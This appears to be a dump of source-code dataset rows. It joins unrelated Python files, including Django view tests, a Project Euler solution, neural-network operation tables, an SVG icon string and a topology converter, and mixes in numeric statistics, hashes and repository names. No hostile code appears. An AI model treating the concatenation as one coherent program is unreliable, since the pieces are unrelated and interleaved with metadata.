affine=affine,padding_mode=padding_mode), "[symP4]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode), "[symZ2]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symZ2]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symZ2]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symZ2]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symZ2]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4Z2]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4Z2]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4Z2]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4Z2]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[symP4Z2]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode), "[auto][symP4]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=P4_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symZ2]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symZ2]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symZ2]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symZ2]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symZ2]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4Z2]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4Z2]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4Z2]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4Z2]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[auto][symP4Z2]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=P4Z2_Conv2d, affine=affine,padding_mode=padding_mode,active_symmetry_fix=True), "[eMPSCNN]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, CNNModule=embedConv2d, affine=affine,padding_mode=padding_mode), "[eMPSCNN]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, CNNModule=embedConv2d, affine=affine,padding_mode=padding_mode), "[eMPSCNN]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, CNNModule=embedConv2d, affine=affine,padding_mode=padding_mode), "[eMPSCNN]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, CNNModule=embedConv2d, affine=affine,padding_mode=padding_mode), "[eMPSCNN]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, CNNModule=embedConv2d, affine=affine,padding_mode=padding_mode), "[cplx]sep_conv_3x3": lambda C, stride, affine,padding_mode='zeros': CplxSepConv(C, C, 3, stride, 1, affine=affine,padding_mode=padding_mode), "[cplx]sep_conv_5x5": lambda C, stride, affine,padding_mode='zeros': CplxSepConv(C, C, 5, stride, 2, affine=affine,padding_mode=padding_mode), "[cplx]sep_conv_7x7": lambda C, stride, affine,padding_mode='zeros': CplxSepConv(C, C, 7, stride, 3, affine=affine,padding_mode=padding_mode), "[cplx]dil_conv_3x3": lambda C, stride, affine,padding_mode='zeros': CplxDilConv(C, C, 3, stride, 2, 2, affine=affine,padding_mode=padding_mode), "[cplx]dil_conv_5x5": lambda C, stride, affine,padding_mode='zeros': CplxDilConv(C, C, 5, stride, 4, 2, affine=affine,padding_mode=padding_mode), } BasicOPS = { 'none' : lambda C, stride, affine,padding_mode='zeros': Zero(stride), 'avg_pool_3x3' : lambda C, stride, affine,padding_mode='zeros': nn.AvgPool2d(3, stride=stride, padding=1, count_include_pad=False), 'max_pool_3x3' : lambda C, stride, affine,padding_mode='zeros': nn.MaxPool2d(3, stride=stride, padding=1), 'skip_connect' : lambda C, stride, affine,padding_mode='zeros': Identity() if stride == 1 else FactorizedReduce(C, C, affine=affine,padding_mode=padding_mode), 'sep_conv_3x3' : lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 3, stride, 1, affine=affine,padding_mode=padding_mode), 'sep_conv_5x5' : lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 5, stride, 2, affine=affine,padding_mode=padding_mode), 'sep_conv_7x7' : lambda C, stride, affine,padding_mode='zeros': SepConv(C, C, 7, stride, 3, affine=affine,padding_mode=padding_mode), 'dil_conv_3x3' : lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 3, stride, 2, 2, affine=affine,padding_mode=padding_mode), 'dil_conv_5x5' : lambda C, stride, affine,padding_mode='zeros': DilConv(C, C, 5, stride, 4, 2, affine=affine,padding_mode=padding_mode), } MAXSIZE = 16 MSNAMERULE=lambda k,d,s,p,c:f"circular_conv_k{k}_s{s}_d{d}_p{p}" if c else f"simple_conv_k{k}_s{s}_d{d}_p{p}" MSOPS={} for s in [1,2]: MSOPS[s]=BasicOPS.copy() for p,d,k in config_list(16,s): MSOPS[s][MSNAMERULE(k,d,s,p,True)]=ReLUcclConvBNWrapper(k,s,d,True) MSOPS_NO={} for s in [1,2]: MSOPS_NO[s]=BasicOPS.copy() for p,d,k in config_list(16,s): MSOPS_NO[s][MSNAMERULE(k,d,s,p,False)]=ReLUcclConvBNWrapper(k,s,d,False) NORMALSIZE = len(MSOPS[1]) REDUCESIZE = max(len(MSOPS[1]),len(MSOPS[2])) BasicOPSNAME=list(BasicOPS.keys())

90.871212

202

0.726636

1,876

11,995

4.436567

0.065565

0.222035

0.234891

0.141536

0.891746

0.877688

0.867596

0.856422

0.850655

0.841283

0

0.040843

0.122301

11,995

131

203

91.564886

0.749715

0.005002

0

0.055046

0

0.134079

0.062717

0

1

0.018349

false

0

0.036697

0

0.073395

0

null

1

0

1

0

null

0

8

a7ac223db2aaf623745097a0efcc696c672ab715

1,310

py

Python

Algorithms/sector7/eight.py

sa501428/playground

26c4145e6afed1fbf12031ef9b7404e92b48d16d

[ "MIT" ]

null

Algorithms/sector7/eight.py

sa501428/playground

26c4145e6afed1fbf12031ef9b7404e92b48d16d

[ "MIT" ]

null

Algorithms/sector7/eight.py

sa501428/playground

26c4145e6afed1fbf12031ef9b7404e92b48d16d

[ "MIT" ]

null

def getscore(num): product = 1; for i in num: product *= int(i) return product text = "7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450" maxn = len(text) i = 0 l = 13 maxscore = 0 for i in range(maxn - l+1): subtext = text[i:i+l] if ('0' not in subtext): score = getscore(subtext) if(score > maxscore): maxscore = score print maxscore

48.518519

1,009

0.90916

52

1,310

22.903846

0.461538

0.016793

0.010076

0

0.816707

0.058779

1,310

26

1,010

50.384615

0.14923

0

0.765291

0.764526

0

1

0

null

0

null

0.058824

0

1

null

0

1

0

1

0

1

0

1

null

1

0

1

0

8

a7c04050ea46ccfa35b316117bb7f3e1844444bb

98

py

Python

utilcli/commands/__init__.py

arville27/utilcli

3a8fb5603a5e370dd0c05a845403ecc29f1fb29d

[ "MIT" ]

null

utilcli/commands/__init__.py

arville27/utilcli

3a8fb5603a5e370dd0c05a845403ecc29f1fb29d

[ "MIT" ]

null

utilcli/commands/__init__.py

arville27/utilcli

3a8fb5603a5e370dd0c05a845403ecc29f1fb29d

[ "MIT" ]

null

from .shlink import app as shlink from .porkbun import app as porkbun from .utilapi import lyrics

24.5

35

0.806122

16

98

4.9375

0.5

0.227848

0.278481

0

0.163265

98

3

36

32.666667

0.963415

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

3bceeeae37c12ee92d9161f21bd4a727efed6b74

6,405

py

Python

ghostwriter/users/tests/test_views.py

luxcupitor/Ghostwriter

d6b8a15fc0c50041fb039f64c3442f9e80031452

[ "BSD-3-Clause" ]

null

ghostwriter/users/tests/test_views.py

luxcupitor/Ghostwriter

d6b8a15fc0c50041fb039f64c3442f9e80031452

[ "BSD-3-Clause" ]

null

ghostwriter/users/tests/test_views.py

luxcupitor/Ghostwriter

d6b8a15fc0c50041fb039f64c3442f9e80031452

[ "BSD-3-Clause" ]

null

# Standard Libraries import logging # Django Imports from django.test import Client, TestCase from django.urls import reverse # Ghostwriter Libraries from ghostwriter.factories import UserFactory logging.disable(logging.CRITICAL) PASSWORD = "SuperNaturalReporting!" class UserDetailViewTests(TestCase): """Collection of tests for :view:`users.UserDetailView`.""" @classmethod def setUpTestData(cls): cls.user = UserFactory(password=PASSWORD) cls.uri = reverse("users:user_detail", kwargs={"username": cls.user.username}) def setUp(self): self.client = Client() self.client_auth = Client() self.client_auth.login(username=self.user.username, password=PASSWORD) self.assertTrue( self.client_auth.login(username=self.user.username, password=PASSWORD) ) def test_view_uri_exists_at_desired_location(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) def test_view_requires_login(self): response = self.client.get(self.uri) self.assertEqual(response.status_code, 302) def test_view_uses_correct_template(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, "users/profile.html") class UserUpdateViewTests(TestCase): """Collection of tests for :view:`users.UserUpdateView`.""" @classmethod def setUpTestData(cls): cls.user = UserFactory(password=PASSWORD) cls.other_user = UserFactory(password=PASSWORD) cls.uri = reverse("users:user_update", kwargs={"username": cls.user.username}) cls.redirect_uri = reverse("users:redirect") def setUp(self): self.client = Client() self.client_auth = Client() self.client_auth.login(username=self.user.username, password=PASSWORD) self.assertTrue( self.client_auth.login(username=self.user.username, password=PASSWORD) ) self.other_client_auth = Client() self.other_client_auth.login(username=self.other_user.username, password=PASSWORD) self.assertTrue( self.other_client_auth.login(username=self.other_user.username, password=PASSWORD) ) def test_view_uri_exists_at_desired_location(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) def test_view_requires_login(self): response = self.client.get(self.uri) self.assertEqual(response.status_code, 302) def test_view_uses_correct_template(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, "users/profile_form.html") def test_view_blocks_improper_access(self): response = self.other_client_auth.get(self.uri) self.assertEqual(response.status_code, 302) class UserProfileUpdateViewTests(TestCase): """Collection of tests for :view:`users.UserProfileUpdateView`.""" @classmethod def setUpTestData(cls): cls.user = UserFactory(password=PASSWORD) cls.other_user = UserFactory(password=PASSWORD) cls.uri = reverse("users:userprofile_update", kwargs={"username": cls.user.username}) cls.redirect_uri = reverse("users:redirect") def setUp(self): self.client = Client() self.client_auth = Client() self.client_auth.login(username=self.user.username, password=PASSWORD) self.assertTrue( self.client_auth.login(username=self.user.username, password=PASSWORD) ) self.other_client_auth = Client() self.other_client_auth.login(username=self.other_user.username, password=PASSWORD) self.assertTrue( self.other_client_auth.login(username=self.other_user.username, password=PASSWORD) ) def test_view_uri_exists_at_desired_location(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) def test_view_requires_login(self): response = self.client.get(self.uri) self.assertEqual(response.status_code, 302) def test_view_uses_correct_template(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, "users/profile_form.html") def test_view_blocks_improper_access(self): response = self.other_client_auth.get(self.uri) self.assertEqual(response.status_code, 302) class UserRedirectViewTests(TestCase): """Collection of tests for :view:`users.UserRedirectView`.""" @classmethod def setUpTestData(cls): cls.user = UserFactory(password=PASSWORD) cls.uri = reverse("users:redirect") cls.redirect_uri = reverse("users:user_detail", kwargs={"username": cls.user.username}) def setUp(self): self.client = Client() self.client_auth = Client() self.client_auth.login(username=self.user.username, password=PASSWORD) self.assertTrue( self.client_auth.login(username=self.user.username, password=PASSWORD) ) def test_view_uri_exists_at_desired_location(self): response = self.client_auth.get(self.uri) self.assertRedirects(response, self.redirect_uri) def test_view_requires_login(self): response = self.client.get(self.uri) self.assertEqual(response.status_code, 302) class GhostwriterPasswordChangeViewTests(TestCase): """Collection of tests for :view:`users.GhostwriterPasswordChangeView`.""" @classmethod def setUpTestData(cls): cls.user = UserFactory(password=PASSWORD) cls.uri = reverse("account_change_password") def setUp(self): self.client = Client() self.client_auth = Client() self.client_auth.login(username=self.user.username, password=PASSWORD) self.assertTrue( self.client_auth.login(username=self.user.username, password=PASSWORD) ) def test_view_uri_exists_at_desired_location(self): response = self.client_auth.get(self.uri) self.assertEqual(response.status_code, 200) def test_view_requires_login(self): response = self.client.get(self.uri) self.assertEqual(response.status_code, 302)

36.186441

95

0.700078

749

6,405

5.805073

0.105474

0.075897

0.074057

0.048298

0.878565

0.876035

0.833487

0.832567

0

0.008133

0.193755

6,405

176

96

36.392045

0.83385

0.054645

0

0.79845

0

0.042807

0.019081

0

0.193798

1

0.193798

false

0.186047

0.031008

0

0.263566

0

null

0

1

0

1

0

null

0

1

0

8

3be97bdc7bc9f3e8a9080e1b38c06936a0b1e613

671

py

Python

crypto/block2.py

DarkFiberMines/node-multi-hashing

2e2792c523c76ec13550977b127a0813eb83f99e

[ "MIT" ]

3

2019-03-28T02:55:49.000Z

2019-08-27T14:50:16.000Z

crypto/block2.py

DarkFiberMines/node-multi-hashing

2e2792c523c76ec13550977b127a0813eb83f99e

[ "MIT" ]

1

2019-10-09T13:55:39.000Z

crypto/block2.py

DarkFiberMines/node-multi-hashing

2e2792c523c76ec13550977b127a0813eb83f99e

[ "MIT" ]

7

2018-12-13T20:58:43.000Z

2019-10-26T09:18:19.000Z

#barrystyle 05112018 import x21s_hash, os, sys, time, binascii # block 100 of suqa (00000dc7f571127fd9e93b4b14d983dc6bb3fda81b273665581340061fe614e4) blockdata = '04000000d41ab99b3746f629f2f8b788a47211397ebb2cae416d80382c55c3eddb0a000002df5af374b0664f510c282243ca4e41e9b805aac23fed0ca3ace6046f527deaaa76ab5b0d611c1ed555f9e10101000000010000000000000000000000000000000000000000000000000000000000000000ffffffff020164ffffffff020010a5d4e80000001976a914b7ab1e17631bec41346ca15c68ad6d705cd9cdc188ac00e87648170000001976a914841e6bf56b99a59545da932de2efb23ab93b4f4488ac00000000' hashbin = x21s_hash.getPoWHash(binascii.unhexlify(blockdata))[::-1] print binascii.hexlify(hashbin)

74.555556

418

0.925484

28

671

22.107143

0.785714

0.025848

0

0.530139

0.035768

671

8

419

83.875

0.426584

0.154993

0

0.715044

0

1

0

null

0

0.25

null

0.25

1

0

1

null

0

1

0

1

0

1

0

1

null

1

0

1

0

9

0200e496ff59eafdee78d9f2fe651def0d63be4e

2,018

py

Python

octicons16px/logo_github.py

andrewp-as-is/octicons16px.py

1272dc9f290619d83bd881e87dbd723b0c48844c

[ "Unlicense" ]

1

2021-01-28T06:47:39.000Z

octicons16px/logo_github.py

andrewp-as-is/octicons16px.py

1272dc9f290619d83bd881e87dbd723b0c48844c

[ "Unlicense" ]

null

octicons16px/logo_github.py

andrewp-as-is/octicons16px.py

1272dc9f290619d83bd881e87dbd723b0c48844c

[ "Unlicense" ]

null

OCTICON_LOGO_GITHUB = """ <svg class="octicon octicon-logo-github" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 45 16" width="45" height="16"><path fill-rule="evenodd" d="M18.53 12.03h-.02c.009 0 .015.01.024.011h.006l-.01-.01zm.004.011c-.093.001-.327.05-.574.05-.78 0-1.05-.36-1.05-.83V8.13h1.59c.09 0 .16-.08.16-.19v-1.7c0-.09-.08-.17-.16-.17h-1.59V3.96c0-.08-.05-.13-.14-.13h-2.16c-.09 0-.14.05-.14.13v2.17s-1.09.27-1.16.28c-.08.02-.13.09-.13.17v1.36c0 .11.08.19.17.19h1.11v3.28c0 2.44 1.7 2.69 2.86 2.69.53 0 1.17-.17 1.27-.22.06-.02.09-.09.09-.16v-1.5a.177.177 0 00-.146-.18zM42.23 9.84c0-1.81-.73-2.05-1.5-1.97-.6.04-1.08.34-1.08.34v3.52s.49.34 1.22.36c1.03.03 1.36-.34 1.36-2.25zm2.43-.16c0 3.43-1.11 4.41-3.05 4.41-1.64 0-2.52-.83-2.52-.83s-.04.46-.09.52c-.03.06-.08.08-.14.08h-1.48c-.1 0-.19-.08-.19-.17l.02-11.11c0-.09.08-.17.17-.17h2.13c.09 0 .17.08.17.17v3.77s.82-.53 2.02-.53l-.01-.02c1.2 0 2.97.45 2.97 3.88zm-8.72-3.61h-2.1c-.11 0-.17.08-.17.19v5.44s-.55.39-1.3.39-.97-.34-.97-1.09V6.25c0-.09-.08-.17-.17-.17h-2.14c-.09 0-.17.08-.17.17v5.11c0 2.2 1.23 2.75 2.92 2.75 1.39 0 2.52-.77 2.52-.77s.05.39.08.45c.02.05.09.09.16.09h1.34c.11 0 .17-.08.17-.17l.02-7.47c0-.09-.08-.17-.19-.17zm-23.7-.01h-2.13c-.09 0-.17.09-.17.2v7.34c0 .2.13.27.3.27h1.92c.2 0 .25-.09.25-.27V6.23c0-.09-.08-.17-.17-.17zm-1.05-3.38c-.77 0-1.38.61-1.38 1.38 0 .77.61 1.38 1.38 1.38.75 0 1.36-.61 1.36-1.38 0-.77-.61-1.38-1.36-1.38zm16.49-.25h-2.11c-.09 0-.17.08-.17.17v4.09h-3.31V2.6c0-.09-.08-.17-.17-.17h-2.13c-.09 0-.17.08-.17.17v11.11c0 .09.09.17.17.17h2.13c.09 0 .17-.08.17-.17V8.96h3.31l-.02 4.75c0 .09.08.17.17.17h2.13c.09 0 .17-.08.17-.17V2.6c0-.09-.08-.17-.17-.17zM8.81 7.35v5.74c0 .04-.01.11-.06.13 0 0-1.25.89-3.31.89-2.49 0-5.44-.78-5.44-5.92S2.58 1.99 5.1 2c2.18 0 3.06.49 3.2.58.04.05.06.09.06.14L7.94 4.5c0 .09-.09.2-.2.17-.36-.11-.9-.33-2.17-.33-1.47 0-3.05.42-3.05 3.73s1.5 3.7 2.58 3.7c.92 0 1.25-.11 1.25-.11v-2.3H4.88c-.11 0-.19-.08-.19-.17V7.35c0-.09.08-.17.19-.17h3.74c.11 0 .19.08.19.17z"></path></svg> """

403.6

1,986

0.622894

576

2,018

2.178819

0.335069

0.054183

0.043028

0.044622

0.168924

0.101992

0.073307

0.054183

0.038247

0

0.536201

0.055501

2,018

4

1,987

504.5

0.122246

0

0.333333

0.985622

0.697075

0

1

0

false

0

null

0

1

0

1

0

1

null

0

8

0201dba3fcd221f33f11706cc8f51e2740fd3648

671

py

Python

marl/rlcore/algo/nothing.py

AmmarFayad/GATs-for-Traffic-Signal-Control

9926c38ce3c15ea2a8525a508a059eb669fed9c0

[ "MIT" ]

null

marl/rlcore/algo/nothing.py

AmmarFayad/GATs-for-Traffic-Signal-Control

9926c38ce3c15ea2a8525a508a059eb669fed9c0

[ "MIT" ]

null

marl/rlcore/algo/nothing.py

AmmarFayad/GATs-for-Traffic-Signal-Control

9926c38ce3c15ea2a8525a508a059eb669fed9c0

[ "MIT" ]

null

import torch import numpy as np c=torch.tensor([[[[0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.]]]]) m=torch.tensor([[[[0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0.]]]]) m=m.view(1, 1, 7, 7).expand_as(c) c[m]=1

37.277778

48

0.254844

123

671

1.382114

0.105691

1.129412

1.658824

2.164706

0.717647

0

0.241784

0.365127

671

18

49

37.277778

0.157277

0

0.666667

0

1

0

false

0

0.111111

0

0.111111

0

1

null

1

0

1

0

1

0

1

0

null

0

11

0248077f3d1a238e5e76122763cdb151ebcb91fc

124

py

Python

python/items/__init__.py

slavik57/GildedRose-Refactoring-Kata

a638ac97dd56cba93aae5e42493b5be3816f5e44

[ "MIT" ]

null

python/items/__init__.py

slavik57/GildedRose-Refactoring-Kata

a638ac97dd56cba93aae5e42493b5be3816f5e44

[ "MIT" ]

null

python/items/__init__.py

slavik57/GildedRose-Refactoring-Kata

a638ac97dd56cba93aae5e42493b5be3816f5e44

[ "MIT" ]

null

from .aged_brie import * from .backstage_passes import * from .Conjured import * from .sulfuras import * from .item import *

24.8

31

0.766129

17

124

5.470588

0.529412

0.430108

0

0.153226

124

5

32

24.8

0.885714

0

1

0

true

0.2

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

025d148c1acf63cf0da8526ea58e2d92774c3961

332

py

Python

rastervision2/core/data/raster_transformer/__init__.py

alexchunet/raster-vision

76e2965557fc8380e2ffc4aa7ab1f5dc45f79033

[ "Apache-2.0" ]

1

2020-10-10T12:32:43.000Z

rastervision2/core/data/raster_transformer/__init__.py

alexchunet/raster-vision

76e2965557fc8380e2ffc4aa7ab1f5dc45f79033

[ "Apache-2.0" ]

null

rastervision2/core/data/raster_transformer/__init__.py

alexchunet/raster-vision

76e2965557fc8380e2ffc4aa7ab1f5dc45f79033

[ "Apache-2.0" ]

1

2021-12-02T08:07:21.000Z

# flake8: noqa from rastervision2.core.data.raster_transformer.raster_transformer import * from rastervision2.core.data.raster_transformer.raster_transformer_config import * from rastervision2.core.data.raster_transformer.stats_transformer import * from rastervision2.core.data.raster_transformer.stats_transformer_config import *

47.428571

82

0.873494

40

332

7

0.275

0.364286

0.3

0.357143

0.9

0.457143

0

0.016026

0.060241

332

6

83

55.333333

0.88141

0.036145

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

11

5a21928066c9684f38e5dca597b83002d6583fdf

1,512

py

Python

ansible/avd-evpn-l3ls-1/post_validation/translate/ansible_avd/topology/expected/csv_to_yaml.py

ankudinov/netdevops-examples

48e834d7f64e26fa4624e0eb8b09f01018475416

[ "Apache-2.0" ]

null

ansible/avd-evpn-l3ls-1/post_validation/translate/ansible_avd/topology/expected/csv_to_yaml.py

ankudinov/netdevops-examples

48e834d7f64e26fa4624e0eb8b09f01018475416

[ "Apache-2.0" ]

null

ansible/avd-evpn-l3ls-1/post_validation/translate/ansible_avd/topology/expected/csv_to_yaml.py

ankudinov/netdevops-examples

48e834d7f64e26fa4624e0eb8b09f01018475416

[ "Apache-2.0" ]

null

from translate.tools import * def default(src_filename, dst_filename): # translate CSV topology doc into expected topology YAML fabric_topology_csv_row_list = read_from_csv(src_filename) topology_dict = dict() for row in fabric_topology_csv_row_list: new_peer_entry = { row['Node Interface']: { 'neighbor_port_name': row['Peer Interface'], 'neighbor_hostname': row['Peer'] } } if row['Node'] in topology_dict.keys(): topology_dict[row['Node']].update(new_peer_entry) else: topology_dict.update({row['Node']: new_peer_entry}) write_yaml(dst_filename, topology_dict) def no_server(src_filename, dst_filename): # translate CSV topology doc into expected topology YAML, except servers fabric_topology_csv_row_list = read_from_csv(src_filename) topology_dict = dict() for row in fabric_topology_csv_row_list: if 'server' not in row['Peer']: # just for demo, find better way in prod new_peer_entry = { row['Node Interface']: { 'neighbor_port_name': row['Peer Interface'], 'neighbor_hostname': row['Peer'] } } if row['Node'] in topology_dict.keys(): topology_dict[row['Node']].update(new_peer_entry) else: topology_dict.update({row['Node']: new_peer_entry}) write_yaml(dst_filename, topology_dict)

35.162791

81

0.617063

183

1,512

4.775956

0.256831

0.1373

0.08238

0.091533

0.87643

0

0.285053

1,512

42

82

36

0.808511

0.108466

0

0.75

0

0.125

0

1

0.0625

false

0

0.03125

0

0.09375

0

null

0

1

0

1

0

null

0

7

5a3d279e7aa2c2207345a8656350816943b9a508

175

py

Python

champaksite/champaksite/book.py

jaiswalIT02/learndjango

93fd4a1682e482bf173637ad2b1420efc6af4972

[ "MIT" ]

null

champaksite/champaksite/book.py

jaiswalIT02/learndjango

93fd4a1682e482bf173637ad2b1420efc6af4972

[ "MIT" ]

null

champaksite/champaksite/book.py

jaiswalIT02/learndjango

93fd4a1682e482bf173637ad2b1420efc6af4972

[ "MIT" ]

1

2021-02-06T07:14:37.000Z

class Book: def __init__(self,bookname,price): self.bookname=bookname self.price=price def __str__(self): return "Name={0}, Price={1}".format(self.bookname,self.price)

29.166667

63

0.737143

26

175

4.653846

0.5

0.297521

0.280992

0

0.012739

0.102857

175

6

63

29.166667

0.757962

0

0.107955

0

1

0.333333

false

0

0.166667

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

cebeb64b0f5033b982b4542419afbb57d2b7369d

713

py

Python

ahserver/server/frame/__init__.py

ifplusor/ahserver

26a6315d7a3b781d424c81bb3985016d9233e1b7

[ "BSD-3-Clause" ]

1

2019-10-08T07:57:32.000Z

ahserver/server/frame/__init__.py

ifplusor/ahserver

26a6315d7a3b781d424c81bb3985016d9233e1b7

[ "BSD-3-Clause" ]

null

ahserver/server/frame/__init__.py

ifplusor/ahserver

26a6315d7a3b781d424c81bb3985016d9233e1b7

[ "BSD-3-Clause" ]

null

# encoding=utf-8 __all__ = [ "create_frame", "HttpFrameType", "HttpFrameFlag", "HttpFrame", "HttpDataFrame", "HttpHeadersFrame", "HttpPriorityFrame", "HttpRstStreamFrame", "HttpSettingsFrame", "HttpPushPromiseFrame", "HttpPingFrame", "HttpGoawayFrame", "HttpWindowUpdateFrame", "HttpContinuationFrame", ] from ._frame import HttpFrameType, HttpFrameFlag, HttpFrame from .frames import ( HttpDataFrame, HttpHeadersFrame, HttpPriorityFrame, HttpRstStreamFrame, HttpSettingsFrame, HttpPushPromiseFrame, HttpPingFrame, HttpGoawayFrame, HttpWindowUpdateFrame, HttpContinuationFrame, ) from .factory import create_frame

20.371429

59

0.706872

43

713

11.55814

0.534884

0.044266

0.140845

0.257545

0.704225

0

